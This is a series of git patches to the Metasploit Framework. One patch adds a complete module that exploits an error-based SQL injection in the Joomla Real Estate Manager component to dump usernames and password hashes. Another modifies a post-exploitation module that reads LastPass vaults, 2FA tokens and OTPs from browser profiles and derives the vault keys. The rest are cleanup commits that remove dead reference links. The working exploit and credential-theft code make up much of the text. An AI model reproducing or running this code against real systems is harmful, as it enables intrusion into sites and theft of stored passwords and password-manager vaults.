client.fs.file.exists?(path) #Read file if it exists + data = nil if (data.blank? || data.size != 32) # Verify content + loot_path = store_loot( + 'firefox.preferences', + 'text/binary', + session, + data, + nil, + "Firefox 2FA token file #{path}" + ) + account_map[account][browser]['lp_2fa'] = data else # Chrome, Safari and Opera data = read_file(lp_data['localstorage_db']) loot_path = store_loot( @@ -389,7 +379,7 @@ class Metasploit3 < Msf::Post "WHERE key = 'lp.uid';" ).flatten - token.blank? ? account_map[account][browser]['lp_2fa'] = "NOT_FOUND" : account_map[account][browser]['lp_2fa'] = token.pack('H*') + token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*') end end end @@ -431,10 +421,30 @@ class Metasploit3 < Msf::Post browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| if browser == 'Firefox' - path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" - data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - data = "NOT FOUND" if data.blank? # Verify content - lastpass_data[account][browser][username] << data + path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr" + iterations = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + iterations = "NOT FOUND" if iterations.blank? # Verify content + lp_data['lp_creds'][username]['iterations'] = iterations + loot_path = store_loot( + "#{browser.downcase}.lastpass.iterations", + 'text/plain', + session, + iterations, + nil, + "#{account}'s #{browser} LastPass iterations" + ) + path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" + vault = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + vault = "NOT FOUND" if vault.blank? # Verify content + lp_data['lp_creds'][username]['vault_loot'] = "NOT_FOUND" + loot_path = store_loot( + "#{browser.downcase}.lastpass.vault", + 'text/plain', + session, + vault, + nil, + "#{account}'s #{browser} LastPass Vault" + ) else # Chrome, Safari and Opera db = SQLite3::Database.new(lp_data['lp_db_loot']) @@ -447,12 +457,12 @@ class Metasploit3 < Msf::Post if /iterations=(?.*);(?.*)/ =~ result[0][0] lp_data['lp_creds'][username]['iterations'] = iterations loot_path = store_loot( - "#{browser.downcase}.lastpass.vault", + "#{browser.downcase}.lastpass.iterations", 'text/plain', session, vault, nil, - "#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}" + "#{account}'s #{browser} LastPass iterations" ) lp_data['lp_creds'][username]['vault_loot'] = loot_path else @@ -463,7 +473,7 @@ class Metasploit3 < Msf::Post session, result[0][0], nil, - "#{account}'s #{browser} LastPass Vault #{lp_data['lp_db_loot']}" + "#{account}'s #{browser} LastPass Vault" ) lp_data['lp_creds'][username]['vault_loot'] = loot_path end @@ -477,51 +487,54 @@ class Metasploit3 < Msf::Post end end - def extract_vault_keys(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - otp = extract_otp(account, browser, username, lp_data['lp_db_loot']) - lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp) + if !user_data['lp_password'].blank? && user_data['iterations'] != "NOT_FOUND"# Derive vault key from credentials + lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) + else # Get vault key from disabled OTP + otp = extract_otp(account, browser, username, lp_data) + lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otp) + end end end end end # Returns otp, encrypted_key - def extract_otp(account, browser, username, path) + def extract_otp(account, browser, username, lp_data) if browser == 'Firefox' - path = firefox_map[account][browser] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" + path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" otp = read_file(path) if client.fs.file.exists?(path) #Read file if it exists otp = "NOT FOUND" if otp.blank? # Verify content return otp else # Chrome, Safari and Opera - db = SQLite3::Database.new(path) + db = SQLite3::Database.new(lp_data['lp_db_loot']) result = db.execute( "SELECT type, data FROM LastPassData " \ "WHERE username_hash = '"+OpenSSL::Digest::SHA256.hexdigest(username)+"' AND type = 'otp'" ) - return result[0][1] + result[0][1] end end - def make_vault_key_from_creds username, password, key_iteration_count + def derive_vault_key_from_creds username, password, key_iteration_count if key_iteration_count == 1 key = Digest::SHA256.hexdigest username + password else - key = pbkdf2(password, username, key_iteration_count, 32) + key = pbkdf2(password, username, key_iteration_count.to_i, 32) end - return key + key.first end def decrypt_vault_key_with_otp username, otp otpbin = [otp].pack "H*" vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*" encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otp) - return decrypt_data(vault_key_decryption_key, encrypted_vault_key) + decrypt_data(vault_key_decryption_key, encrypted_vault_key) end def retrieve_encrypted_vault_key_with_otp username, otp @@ -538,13 +551,17 @@ class Metasploit3 < Msf::Post http.request(request) } + puts request.body + puts response.body + + # Parse response encrypted_vault_key = nil if response.body.match(/randkey\="(.*)"/) encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1] end - return encrypted_vault_key + encrypted_vault_key end # LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary) @@ -567,13 +584,13 @@ class Metasploit3 < Msf::Post end end - return OpenSSL::Digest::SHA256.hexdigest(output) + OpenSSL::Digest::SHA256.hexdigest(output) end def pbkdf2(password, salt, iterations, key_length) digest = OpenSSL::Digest::SHA256.new - return OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*' + OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*' end From 132cbf0cd78b60a8e34d9e27f78da26c138ad8bc Mon Sep 17 00:00:00 2001 From: nixawk Date: Tue, 27 Oct 2015 15:18:17 +0000 Subject: [PATCH 0990/2172] joomla plugin com_realestatemanager Error Based SQL Ijnection --- .../joomla_com_realestatemanager_sqli.rb | 206 ++++++++++++++++++ 1 file changed, 206 insertions(+) create mode 100644 modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb diff --git a/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb new file mode 100644 index 0000000000..ed406925af --- /dev/null +++ b/modules/auxiliary/gather/joomla_com_realestatemanager_sqli.rb @@ -0,0 +1,206 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla Real Estate Manager Component Error-Based SQL Injection', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in Joomla Plugin + com_realestatemanager versions 3.7 in order to either enumerate + usernames and password hashes. + }, + 'References' => + [ + ['EDB', '38445'] + ], + 'Author' => + [ + 'Omer Ramic', # discovery + 'Nixawk', # metasploit module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 22 2015' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']) + ], self.class) + end + + def check + flag = Rex::Text.rand_text_alpha(5) + payload = "0x#{flag.unpack('H*')[0]}" + + data = sqli(payload) + if data && data.include?(flag) + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def sqli(query) + lmark = Rex::Text.rand_text_alpha(5) + rmark = Rex::Text.rand_text_alpha(5) + + payload = '(SELECT 6062 FROM(SELECT COUNT(*),CONCAT(' + payload << "0x#{lmark.unpack('H*')[0]}," + payload << '%s,' + payload << "0x#{rmark.unpack('H*')[0]}," + payload << 'FLOOR(RAND(0)*2)' + payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)' + + get = { + 'option' => 'com_realestatemanager', + 'task' => 'showCategory', + 'catid' => '50', + 'Itemid' => '132' + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => get, + }) + + if res && res.code == 200 + cookie = res.get_cookies + post = { + 'order_field' => 'price', + 'order_direction' => 'asc,' + (payload % query) + } + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'cookie' => cookie, + 'vars_get' => get, + 'vars_post' => post + }) + + # Error based SQL Injection + if res && res.code == 500 && res.body =~ /#{lmark}(.*)#{rmark}/ + $1 + end + end + end + + def query_databases + dbs = [] + + query = '(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) ' + query << 'FROM INFORMATION_SCHEMA.SCHEMATA)' + + dbc = sqli(query) + + query_fmt = '(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) ' + query_fmt << 'FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1)' + + 0.upto(dbc.to_i - 1) do |i| + dbname = sqli(query_fmt % i) + dbs << dbname + vprint_good(dbname) + end + + %w(performance_schema information_schema mysql).each do |dbname| + dbs.delete(dbname) if dbs.include?(dbname) + end + dbs + end + + def query_tables(database) + tbs = [] + + query = '(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) ' + query << 'FROM INFORMATION_SCHEMA.TABLES ' + query << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}))" + + tbc = sqli(query) + + query_fmt = '(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) ' + query_fmt << 'FROM INFORMATION_SCHEMA.TABLES ' + query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) " + query_fmt << 'LIMIT %d,1)' + + vprint_status('tables in database: %s' % database) + 0.upto(tbc.to_i - 1) do |i| + tbname = sqli(query_fmt % i) + vprint_good(tbname) + tbs << tbname if tbname =~ /_users$/ + end + tbs + end + + def query_columns(database, table) + cols = [] + query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})" + + colc = sqli(query) + vprint_status(colc) + + valid_cols = [ # joomla_users + 'activation', + 'block', + 'email', + 'id', + 'lastResetTime', + 'lastvisitDate', + 'name', + 'otep', + 'otpKey', + 'params', + 'password', + 'registerDate', + 'requireReset', + 'resetCount', + 'sendEmail', + 'username' + ] + + query_fmt = '(SELECT MID((IFNULL(CAST(%s AS CHAR),0x20)),%d,54) ' + query_fmt << "FROM #{database}.#{table} ORDER BY id LIMIT %d,1)" + + 0.upto(colc.to_i - 1) do |i| + record = {} + valid_cols.each do |col| + l = 1 + record[col] = '' + loop do + value = sqli(query_fmt % [col, l, i]) + break if value.blank? + record[col] << value + l += 54 + end + end + cols << record + vprint_status(record.to_s) + end + cols + end + + def run + dbs = query_databases + dbs.each do |db| + tables = query_tables(db) + tables.each do |table| + cols = query_columns(db, table) + next if cols.blank? + path = store_loot( + 'joomla.users', + 'text/plain', + datastore['RHOST'], + cols.to_json, + 'joomla.users') + print_good('Saved file to: ' + path) + end + end + end +end From 9041f95511d86257bb4ed11f6b82815041a6c571 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 27 Oct 2015 11:21:17 -0500 Subject: [PATCH 0991/2172] Perform final cleanup --- .../auxiliary/gather/joomla_contenthistory_sqli.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb index 000eb99f2a..ae03c949d8 100644 --- a/modules/auxiliary/gather/joomla_contenthistory_sqli.rb +++ b/modules/auxiliary/gather/joomla_contenthistory_sqli.rb @@ -25,8 +25,8 @@ class Metasploit4 < Msf::Auxiliary 'Author' => [ 'Asaf Orpani', # discovery - 'bperry', # metasploit module - 'Nixawk' # module review + 'bperry', # metasploit module + 'Nixawk' # module review ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 22 2015' @@ -57,7 +57,6 @@ class Metasploit4 < Msf::Auxiliary else Msf::Exploit::CheckCode::Safe end - end def request(query, payload, lmark, rmark) @@ -90,6 +89,7 @@ class Metasploit4 < Msf::Auxiliary %w(performance_schema information_schema mysql).each do |dbname| dbs.delete(dbname) if dbs.include?(dbname) end + dbs end @@ -113,6 +113,7 @@ class Metasploit4 < Msf::Auxiliary vprint_good(tbname) tbs << tbname if tbname =~ /_users$/ end + tbs end @@ -160,6 +161,7 @@ class Metasploit4 < Msf::Auxiliary cols << record vprint_status(record.to_s) end + cols end @@ -192,7 +194,7 @@ class Metasploit4 < Msf::Auxiliary end def sqli(payload) - send_request_cgi({ + send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'option' => 'com_contenthistory', @@ -202,6 +204,7 @@ class Metasploit4 < Msf::Auxiliary 'type_id' => 1, 'list[select]' => '1 ' + payload } - }) + ) end + end From 154fb585f44c1cf718d513cdb902e1becae5a1cd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 27 Oct 2015 12:41:32 -0500 Subject: [PATCH 0992/2172] Remove bad references (dead links) These links are no longer available. They are dead links. --- modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb | 3 +-- modules/auxiliary/admin/hp/hp_data_protector_cmd.rb | 1 - .../admin/http/arris_motorola_surfboard_backdoor_xss.rb | 3 +-- .../admin/http/dlink_dsl320b_password_extractor.rb | 3 +-- modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb | 1 - modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb | 1 - .../auxiliary/admin/http/manage_engine_dc_create_admin.rb | 1 - modules/auxiliary/admin/http/manageengine_dir_listing.rb | 1 - modules/auxiliary/admin/http/manageengine_file_download.rb | 1 - modules/auxiliary/admin/http/manageengine_pmp_privesc.rb | 1 - modules/auxiliary/admin/http/netflow_file_download.rb | 1 - modules/auxiliary/admin/http/nexpose_xxe_file_read.rb | 4 +--- modules/auxiliary/admin/http/sysaid_admin_acct.rb | 1 - modules/auxiliary/admin/http/sysaid_file_download.rb | 1 - modules/auxiliary/admin/http/sysaid_sql_creds.rb | 1 - modules/auxiliary/admin/postgres/postgres_readfile.rb | 6 +----- modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb | 3 +-- modules/auxiliary/bnat/bnat_router.rb | 3 +-- modules/auxiliary/bnat/bnat_scan.rb | 3 +-- modules/auxiliary/dos/cisco/ios_http_percentpercent.rb | 1 - modules/auxiliary/dos/dns/bind_tkey.rb | 3 +-- modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb | 1 - modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb | 1 - modules/auxiliary/dos/http/monkey_headers.rb | 3 +-- modules/auxiliary/dos/solaris/lpd/cascade_delete.rb | 3 +-- modules/auxiliary/dos/ssl/openssl_aesni.rb | 3 +-- modules/auxiliary/dos/windows/games/kaillera.rb | 4 ---- modules/auxiliary/gather/citrix_published_bruteforce.rb | 3 +-- modules/auxiliary/gather/dns_cache_scraper.rb | 3 +-- modules/auxiliary/gather/eventlog_cred_disclosure.rb | 1 - modules/auxiliary/gather/huawei_wifi_info.rb | 3 +-- modules/auxiliary/gather/ie_uxss_injection.rb | 1 - modules/auxiliary/gather/trackit_sql_domain_creds.rb | 1 - modules/auxiliary/scanner/chargen/chargen_probe.rb | 3 +-- modules/auxiliary/scanner/dect/call_scanner.rb | 3 +-- modules/auxiliary/scanner/dect/station_scanner.rb | 3 +-- modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb | 1 - .../auxiliary/scanner/http/cisco_nac_manager_traversal.rb | 3 +-- .../auxiliary/scanner/http/coldfusion_locale_traversal.rb | 1 - .../scanner/http/majordomo2_directory_traversal.rb | 1 - .../scanner/http/manageengine_deviceexpert_traversal.rb | 3 +-- modules/auxiliary/scanner/http/tplink_traversal_noauth.rb | 1 - modules/auxiliary/scanner/misc/poisonivy_control_scanner.rb | 4 ---- .../auxiliary/scanner/misc/rosewill_rxs3211_passwords.rb | 4 ---- .../auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb | 3 +-- modules/auxiliary/scanner/rogue/rogue_recv.rb | 6 +----- modules/auxiliary/scanner/rogue/rogue_send.rb | 6 +----- modules/auxiliary/scanner/sap/sap_router_info_request.rb | 1 - modules/auxiliary/scanner/udp_scanner_template.rb | 4 ---- .../auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb | 1 - modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb | 3 +-- modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb | 3 +-- modules/auxiliary/sqli/oracle/lt_compressworkspace.rb | 3 +-- modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb | 1 - modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb | 1 - modules/auxiliary/sqli/oracle/lt_removeworkspace.rb | 4 +--- modules/exploits/irix/lpd/tagprinter_exec.rb | 3 +-- modules/exploits/linux/http/airties_login_cgi_bof.rb | 1 - modules/exploits/linux/http/peercast_url.rb | 4 +--- modules/exploits/linux/http/vcms_upload.rb | 1 - modules/exploits/linux/http/wanem_exec.rb | 3 +-- modules/exploits/linux/ids/snortbopre.rb | 3 +-- modules/exploits/linux/local/sock_sendpage.rb | 3 +-- modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb | 1 - modules/exploits/linux/mysql/mysql_yassl_getname.rb | 3 +-- modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb | 1 - modules/exploits/linux/ssh/symantec_smg_ssh.rb | 1 - modules/exploits/multi/browser/java_calendar_deserialize.rb | 3 +-- modules/exploits/multi/browser/java_setdifficm_bof.rb | 3 +-- modules/exploits/multi/browser/java_signed_applet.rb | 4 +--- modules/exploits/multi/browser/mozilla_navigatorjava.rb | 3 +-- modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb | 1 - modules/exploits/multi/http/manageengine_auth_upload.rb | 1 - modules/exploits/multi/http/op5_license.rb | 2 -- modules/exploits/multi/http/op5_welcome.rb | 2 -- .../exploits/multi/http/opmanager_socialit_file_upload.rb | 1 - modules/exploits/multi/http/oracle_reports_rce.rb | 3 +-- modules/exploits/multi/http/phpldapadmin_query_engine.rb | 3 +-- modules/exploits/multi/http/rails_secret_deserialization.rb | 1 - modules/exploits/multi/http/splunk_mappy_exec.rb | 4 +--- .../multi/http/struts_code_exec_exception_delegator.rb | 3 +-- modules/exploits/multi/http/struts_dev_mode.rb | 3 +-- modules/exploits/multi/http/sun_jsws_dav_options.rb | 4 +--- modules/exploits/multi/http/sysaid_auth_file_upload.rb | 1 - modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb | 1 - modules/exploits/multi/http/vbseo_proc_deutf.rb | 1 - modules/exploits/multi/http/wikka_spam_exec.rb | 3 +-- .../multi/http/zenworks_configuration_management_upload.rb | 1 - modules/exploits/multi/misc/pbot_exec.rb | 1 - modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb | 4 +--- modules/exploits/multi/realserver/describe.rb | 3 +-- modules/exploits/multi/vpn/tincd_bof.rb | 4 +--- modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb | 4 +--- modules/exploits/osx/arkeia/type77.rb | 3 +-- modules/exploits/solaris/sunrpc/sadmind_exec.rb | 3 +-- modules/exploits/unix/ftp/proftpd_133c_backdoor.rb | 3 +-- modules/exploits/unix/ssh/tectia_passwd_changereq.rb | 3 +-- modules/exploits/unix/webapp/awstatstotals_multisort.rb | 3 +-- modules/exploits/unix/webapp/barracuda_img_exec.rb | 3 +-- modules/exploits/unix/webapp/mitel_awc_exec.rb | 2 -- modules/exploits/unix/webapp/mybb_backdoor.rb | 3 +-- modules/exploits/unix/webapp/nagios3_history_cgi.rb | 3 +-- modules/exploits/unix/webapp/openx_banner_edit.rb | 1 - modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb | 1 - modules/exploits/windows/backupexec/remote_agent.rb | 3 +-- modules/exploits/windows/brightstor/tape_engine.rb | 3 +-- modules/exploits/windows/browser/adobe_flash_avm2.rb | 3 +-- modules/exploits/windows/browser/adobe_flash_otf_font.rb | 1 - modules/exploits/windows/browser/adobe_flash_sps.rb | 3 +-- .../windows/browser/adobe_flatedecode_predictor02.rb | 3 +-- modules/exploits/windows/browser/adobe_jbig2decode.rb | 1 - .../windows/browser/adobe_shockwave_rcsl_corruption.rb | 1 - modules/exploits/windows/browser/apple_quicktime_rtsp.rb | 3 +-- modules/exploits/windows/browser/ask_shortformat.rb | 3 +-- .../windows/browser/athocgov_completeinstallation.rb | 3 +-- modules/exploits/windows/browser/awingsoft_web3d_bof.rb | 1 - .../windows/browser/c6_messenger_downloaderactivex.rb | 3 +-- .../exploits/windows/browser/foxit_reader_plugin_url_bof.rb | 1 - modules/exploits/windows/browser/hp_loadrunner_addfile.rb | 3 +-- modules/exploits/windows/browser/hp_loadrunner_addfolder.rb | 3 +-- modules/exploits/windows/browser/ie_cbutton_uaf.rb | 1 - modules/exploits/windows/browser/ie_execcommand_uaf.rb | 3 +-- .../windows/browser/macrovision_downloadandexecute.rb | 3 +-- .../exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb | 3 +-- .../exploits/windows/browser/ms06_001_wmf_setabortproc.rb | 3 +-- .../exploits/windows/browser/ms06_013_createtextrange.rb | 3 +-- .../exploits/windows/browser/ms06_057_webview_setslice.rb | 3 +-- modules/exploits/windows/browser/ms06_067_keyframe.rb | 3 +-- .../windows/browser/ms07_017_ani_loadimage_chunksize.rb | 3 +-- .../windows/browser/ms10_042_helpctr_xss_cmd_exec.rb | 1 - modules/exploits/windows/browser/ms11_003_ie_css_import.rb | 2 -- modules/exploits/windows/browser/ms12_004_midi.rb | 3 +-- modules/exploits/windows/browser/ms12_037_ie_colspan.rb | 3 +-- modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb | 1 - .../windows/browser/msxml_get_definition_code_exec.rb | 1 - .../windows/browser/nctaudiofile2_setformatlikesample.rb | 3 +-- .../exploits/windows/browser/persits_xupload_traversal.rb | 3 +-- modules/exploits/windows/browser/realplayer_qcp.rb | 4 ---- .../windows/browser/siemens_solid_edge_selistctrlx.rb | 3 +-- modules/exploits/windows/browser/wmi_admintools.rb | 1 - modules/exploits/windows/browser/yahoomessenger_server.rb | 3 +-- .../windows/email/ms07_017_ani_loadimage_chunksize.rb | 4 +--- modules/exploits/windows/emc/networker_format_string.rb | 1 - .../windows/fileformat/adobe_flatedecode_predictor02.rb | 3 +-- .../windows/fileformat/adobe_illustrator_v14_eps.rb | 1 - modules/exploits/windows/fileformat/adobe_jbig2decode.rb | 3 +-- modules/exploits/windows/fileformat/adobe_reader_u3d.rb | 1 - modules/exploits/windows/fileformat/etrust_pestscan.rb | 3 +-- .../exploits/windows/fileformat/ms10_004_textbytesatom.rb | 3 +-- .../windows/fileformat/ms11_006_createsizeddibsection.rb | 3 +-- modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb | 3 +-- .../exploits/windows/fileformat/ms12_027_mscomctl_bof.rb | 3 +-- modules/exploits/windows/fileformat/ms14_060_sandworm.rb | 3 +-- modules/exploits/windows/fileformat/vlc_modplug_s3m.rb | 2 -- modules/exploits/windows/firewall/blackice_pam_icq.rb | 3 +-- modules/exploits/windows/firewall/kerio_auth.rb | 3 +-- modules/exploits/windows/ftp/3cdaemon_ftp_user.rb | 3 +-- modules/exploits/windows/ftp/easyftp_cwd_fixret.rb | 4 +--- modules/exploits/windows/ftp/freeftpd_user.rb | 3 +-- modules/exploits/windows/ftp/servu_mdtm.rb | 2 -- modules/exploits/windows/ftp/vermillion_ftpd_port.rb | 3 +-- modules/exploits/windows/ftp/warftpd_165_pass.rb | 3 +-- modules/exploits/windows/ftp/warftpd_165_user.rb | 3 +-- modules/exploits/windows/http/apache_chunked.rb | 4 +--- .../exploits/windows/http/bea_weblogic_transfer_encoding.rb | 3 +-- .../windows/http/desktopcentral_statusupdate_upload.rb | 3 +-- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb | 3 +-- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb | 1 - modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb | 1 - modules/exploits/windows/http/mcafee_epolicy_source.rb | 1 - modules/exploits/windows/http/peercast_url.rb | 3 +-- modules/exploits/windows/http/servu_session_cookie.rb | 3 +-- modules/exploits/windows/http/trackit_file_upload.rb | 3 +-- modules/exploits/windows/imap/mailenable_login.rb | 3 +-- modules/exploits/windows/imap/novell_netmail_auth.rb | 3 +-- modules/exploits/windows/local/agnitum_outpost_acs.rb | 3 +-- modules/exploits/windows/local/ask.rb | 3 --- modules/exploits/windows/local/ms_ndproxy.rb | 1 - modules/exploits/windows/local/novell_client_nwfs.rb | 3 +-- modules/exploits/windows/local/virtual_box_opengl_escape.rb | 3 +-- modules/exploits/windows/misc/bomberclone_overflow.rb | 3 +-- .../exploits/windows/misc/enterasys_netsight_syslog_bof.rb | 3 +-- .../exploits/windows/misc/hp_dataprotector_new_folder.rb | 1 - modules/exploits/windows/misc/poisonivy_bof.rb | 1 - modules/exploits/windows/misc/poppeeper_date.rb | 3 +-- modules/exploits/windows/misc/poppeeper_uidl.rb | 3 +-- modules/exploits/windows/mysql/mysql_payload.rb | 4 +--- modules/exploits/windows/novell/netiq_pum_eval.rb | 3 +-- .../exploits/windows/novell/zenworks_preboot_op21_bof.rb | 3 +-- .../exploits/windows/novell/zenworks_preboot_op4c_bof.rb | 3 +-- modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb | 3 +-- .../exploits/windows/novell/zenworks_preboot_op6c_bof.rb | 3 +-- modules/exploits/windows/oracle/tns_service_name.rb | 1 - modules/exploits/windows/postgres/postgres_payload.rb | 1 - modules/exploits/windows/scada/citect_scada_odbc.rb | 1 - modules/exploits/windows/scada/procyon_core_server.rb | 1 - modules/exploits/windows/smb/ms04_007_killbill.rb | 1 - modules/exploits/windows/smb/smb_relay.rb | 3 +-- modules/exploits/windows/tftp/attftp_long_filename.rb | 3 +-- modules/exploits/windows/tftp/futuresoft_transfermode.rb | 3 +-- modules/post/multi/gather/lastpass_creds.rb | 1 - modules/post/windows/escalate/golden_ticket.rb | 3 +-- modules/post/windows/escalate/ms10_073_kbdlayout.rb | 1 - modules/post/windows/escalate/screen_unlock.rb | 6 +----- 204 files changed, 125 insertions(+), 377 deletions(-) diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb index a6e7986eea..c706eea4f0 100644 --- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb +++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb @@ -28,9 +28,8 @@ class Metasploit3 < Msf::Auxiliary [ [ 'BID', '19680' ], [ 'CVE', '2006-4313' ], - [ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20060823-vpn3k.shtml' ], [ 'OSVDB', '28139' ], - [ 'OSVDB', '28138' ], + [ 'OSVDB', '28138' ] ], 'DisclosureDate' => 'Aug 23 2006')) diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb index af5541a50a..1c99844b0f 100644 --- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb +++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb @@ -33,7 +33,6 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2011-0923' ], [ 'OSVDB', '72526' ], [ 'ZDI', '11-055' ], - [ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html' ], [ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux' ] ], 'Author' => diff --git a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb index 4610b22ec0..1bbe35b857 100644 --- a/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb +++ b/modules/auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss.rb @@ -46,8 +46,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2015-0964' ], # XSS vulnerability [ 'CVE', '2015-0965' ], # CSRF vulnerability - [ 'CVE', '2015-0966' ], # "techician/yZgO8Bvj" web interface backdoor - [ 'URL', 'https://community.rapid7.com/rapid7_blogpostdetail?id=a111400000AanBs' ] # Original disclosure + [ 'CVE', '2015-0966' ] # "techician/yZgO8Bvj" web interface backdoor ] )) diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index 9ab873d031..cb17b5cc91 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -22,8 +22,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'EDB', '25252' ], [ 'OSVDB', '93013' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ], - [ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ] ], 'Author' => [ 'Michael Messner ' diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index 62b7439655..0bae51aafa 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ 